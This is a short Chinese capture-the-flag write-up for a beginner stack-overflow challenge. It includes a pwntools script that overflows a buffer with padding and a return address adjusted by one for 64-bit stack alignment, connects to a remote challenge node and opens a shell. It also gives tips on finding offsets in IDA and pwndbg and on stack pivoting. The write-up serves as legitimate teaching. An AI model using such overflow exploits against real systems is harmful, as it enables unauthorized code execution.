作为最简单的pwn题,当然是最简单的exp,只要知道原理几行代码就可以搞定,我们发送了15个A用来填充s,再发送8个字节用来填充b,将地址打包位p64位的数据一起发送,就可以完成栈溢出,至于最后为什么要+1,我们可以发现,不加一我们在本地可以打通,但是却打不通远程,这也是我开头说的,和以前payload不一样的地方,原理我们是没有错的,这里+1是为了堆栈平衡,详细可以看大佬的博客在一些64位的glibc的payload调用system函数失败问题 - Ex's blog (eonew.cn)
from pwn import * p = remote("node4.buuoj.cn",27296) payload=b'A'15+b'B'8+p64(0x401186+1) p.sendline(payload) p.interactive()
注意:
1.我们打开ida pro ,作为最简单的栈题,我们在ida pro中的main函数在创建空间s时已经清晰的告诉了我们距离rbp的距离是Fh,这是16进制也就是15个字节,当然,这只是理想的情况,在复杂一些的情况中,开辟的内存地址显然不会像这题一样紧挨着上一个rbp,甚至有时出题人会故意在ida的静态调试中告诉你错误的地址,这个时候你需要用pwndbg进行动态调试,这题通过动态调试也可以发现,二者的地址是一样的
2.当payload有长度限制的时候,我们可以尝试进行栈转移来进行栈地址的改变,如果遇到了没有对齐的情况就继续将栈地址+1
,直到遇到栈对齐的情况。